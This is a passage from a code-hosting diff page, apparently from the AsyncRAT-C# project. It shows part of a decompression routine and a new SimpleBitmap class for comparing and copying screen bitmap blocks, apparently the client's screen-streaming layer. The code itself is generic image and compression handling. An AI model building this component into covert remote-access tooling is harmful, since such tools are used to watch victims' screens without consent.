uint matchlen;
|
||||||
|
uint offset2;
|
||||||
|
|
||||||
|
cword_val = cword_val >> 1;
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
hash = ((int)fetch >> 4) & 0xfff;
|
||||||
|
offset2 = (uint)hashtable[hash];
|
||||||
|
|
||||||
|
if ((fetch & 0xf) != 0)
|
||||||
|
{
|
||||||
|
matchlen = (fetch & 0xf) + 2;
|
||||||
|
src += 2;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
matchlen = source[src + 2];
|
||||||
|
src += 3;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
uint offset;
|
||||||
|
if ((fetch & 3) == 0)
|
||||||
|
{
|
||||||
|
offset = (fetch & 0xff) >> 2;
|
||||||
|
matchlen = 3;
|
||||||
|
src++;
|
||||||
|
}
|
||||||
|
else if ((fetch & 2) == 0)
|
||||||
|
{
|
||||||
|
offset = (fetch & 0xffff) >> 2;
|
||||||
|
matchlen = 3;
|
||||||
|
src += 2;
|
||||||
|
}
|
||||||
|
else if ((fetch & 1) == 0)
|
||||||
|
{
|
||||||
|
offset = (fetch & 0xffff) >> 6;
|
||||||
|
matchlen = ((fetch >> 2) & 15) + 3;
|
||||||
|
src += 2;
|
||||||
|
}
|
||||||
|
else if ((fetch & 127) != 3)
|
||||||
|
{
|
||||||
|
offset = (fetch >> 7) & 0x1ffff;
|
||||||
|
matchlen = ((fetch >> 2) & 0x1f) + 2;
|
||||||
|
src += 3;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
offset = (fetch >> 15);
|
||||||
|
matchlen = ((fetch >> 7) & 255) + 3;
|
||||||
|
src += 4;
|
||||||
|
}
|
||||||
|
offset2 = (uint)(dst - offset);
|
||||||
|
}
|
||||||
|
|
||||||
|
destination[dst + 0] = destination[offset2 + 0];
|
||||||
|
destination[dst + 1] = destination[offset2 + 1];
|
||||||
|
destination[dst + 2] = destination[offset2 + 2];
|
||||||
|
|
||||||
|
for (int i = 3; i < matchlen; i += 1)
|
||||||
|
{
|
||||||
|
destination[dst + i] = destination[offset2 + i];
|
||||||
|
}
|
||||||
|
|
||||||
|
dst += (int)matchlen;
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
|
||||||
|
while (last_hashed < dst - matchlen)
|
||||||
|
{
|
||||||
|
last_hashed++;
|
||||||
|
hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
|
||||||
|
hashtable[hash] = last_hashed;
|
||||||
|
hash_counter[hash] = 1;
|
||||||
|
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
|
||||||
|
}
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||||
|
}
|
||||||
|
last_hashed = dst - 1;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (dst <= last_matchstart)
|
||||||
|
{
|
||||||
|
destination[dst] = source[src];
|
||||||
|
dst += 1;
|
||||||
|
src += 1;
|
||||||
|
cword_val = cword_val >> 1;
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
while (last_hashed < dst - 3)
|
||||||
|
{
|
||||||
|
last_hashed++;
|
||||||
|
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
|
||||||
|
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
|
||||||
|
hashtable[hash] = last_hashed;
|
||||||
|
hash_counter[hash] = 1;
|
||||||
|
}
|
||||||
|
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
while (dst <= size - 1)
|
||||||
|
{
|
||||||
|
if (cword_val == 1)
|
||||||
|
{
|
||||||
|
src += CWORD_LEN;
|
||||||
|
cword_val = 0x80000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
destination[dst] = source[src];
|
||||||
|
dst++;
|
||||||
|
src++;
|
||||||
|
cword_val = cword_val >> 1;
|
||||||
|
}
|
||||||
|
return destination;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
177
AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs
Normal file
177
AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs
Normal file
@ -0,0 +1,177 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public unsafe class SimpleBitmap
|
||||||
|
{
|
||||||
|
private object ProcessingLock = new object();
|
||||||
|
|
||||||
|
public SimpleBitmapInfo Info { get; internal set; }
|
||||||
|
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
|
||||||
|
public IntPtr Scan0 { get; internal set; }
|
||||||
|
public int Scan0_int { get; internal set; }
|
||||||
|
public BitmapData bitmapData { get; internal set; }
|
||||||
|
public Bitmap bitMap { get; set; }
|
||||||
|
|
||||||
|
public class SimpleBitmapInfo
|
||||||
|
{
|
||||||
|
public SimpleBitmapInfo()
|
||||||
|
{
|
||||||
|
Clear();
|
||||||
|
}
|
||||||
|
public SimpleBitmapInfo(BitmapData data)
|
||||||
|
{
|
||||||
|
Load(data);
|
||||||
|
}
|
||||||
|
public int Stride { get; protected set; }
|
||||||
|
public int PixelSize { get; protected set; }
|
||||||
|
public int Width { get; protected set; }
|
||||||
|
public int Height { get; protected set; }
|
||||||
|
|
||||||
|
public int TotalSize { get; protected set; }
|
||||||
|
|
||||||
|
internal void Clear()
|
||||||
|
{
|
||||||
|
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
|
||||||
|
}
|
||||||
|
internal void Load(BitmapData data)
|
||||||
|
{
|
||||||
|
Width = data.Width; Height = data.Height; Stride = data.Stride;
|
||||||
|
|
||||||
|
PixelSize = Math.Abs(data.Stride) / data.Width;
|
||||||
|
TotalSize = data.Width * data.Height * PixelSize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||||
|
{
|
||||||
|
int calc = 0;
|
||||||
|
int WidthSize = block.Width * sharedInfo.PixelSize;
|
||||||
|
|
||||||
|
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
|
||||||
|
|
||||||
|
for (int i = 0; i < block.Height; i++)
|
||||||
|
{
|
||||||
|
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
|
||||||
|
return false;
|
||||||
|
calc += sharedInfo.Stride;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||||
|
{
|
||||||
|
int calc = 0;
|
||||||
|
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
|
||||||
|
|
||||||
|
calc = y * sharedInfo.Stride;
|
||||||
|
|
||||||
|
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
|
||||||
|
return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||||
|
{
|
||||||
|
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
|
||||||
|
return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
|
||||||
|
{
|
||||||
|
int calc = 0;
|
||||||
|
int WidthSize = block.Width * Info.PixelSize;
|
||||||
|
int CopyOffset = 0;
|
||||||
|
int scan0 = Scan0.ToInt32();
|
||||||
|
int destSize = WidthSize * block.Height;
|
||||||
|
|
||||||
|
if (dest == null || dest.Length != destSize)
|
||||||
|
dest = new byte[destSize];
|
||||||
|
|
||||||
|
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
|
||||||
|
|
||||||
|
fixed (byte* ptr = dest)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < block.Height; i++)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
|
||||||
|
calc += Info.Stride;
|
||||||
|
CopyOffset += WidthSize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public SimpleBitmap()
|
||||||
|
{
|
||||||
|
Scan0 = IntPtr.Zero;
|
||||||
|
bitmapData = null;
|
||||||
|
bitMap = null;
|
||||||
|
|
||||||
|
Info = new SimpleBitmapInfo();
|
||||||
|
}
|
||||||
|
public SimpleBitmap(Bitmap bmp)
|
||||||
|
{
|
||||||
|
this.bitMap = bmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Lock()
|
||||||
|
{
|
||||||
|
if (Locked)
|
||||||
|
throw new Exception("Already locked");
|
||||||
|
|
||||||
|
lock (ProcessingLock)
|
||||||
|
{
|
||||||
|
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
|
||||||
|
|
||||||
|
Info = new SimpleBitmapInfo(bitmapData);
|
||||||
|
|
||||||
|
Scan0 = bitmapData.Scan0;
|
||||||
|
Scan0_int = Scan0.ToInt32();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Unlock()
|
||||||
|
{
|
||||||
|
if (!Locked)
|
||||||
|
throw new Exception("Nothing to unlock");
|
||||||
|
|
||||||
|
lock (ProcessingLock)
|
||||||
|
{
|
||||||
|
Scan0 = IntPtr.Zero;
|
||||||
|
Scan0_int = 0;
|
||||||
|
|
||||||
|
Info.Clear();
|
||||||
|
bitMap.UnlockBits(bitmapData);
|
||||||
|
bitmapData = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
|
||||||
|
{
|
||||||
|
int CopySize = Info.PixelSize * loc.Width;
|
||||||
|
int OffsetX = loc.X * Info.PixelSize;
|
||||||
|
int TotalCopied = 0;
|
||||||
|
|
||||||
|
fixed (byte* ptr = block)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < loc.Height; i++)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
|
||||||
|
TotalCopied += CopySize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Dispose(bool disposeBitmap = false)
|
||||||
|
{
|
||||||
|
if (Locked)
|
||||||
|
Unlock();
|
||||||
|
|
||||||
|
if (disposeBitmap)
|
||||||
|
bitMap.Dispose();
|
||||||
|
|
||||||
|
bitMap = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
x
Reference in New Issue
Block a user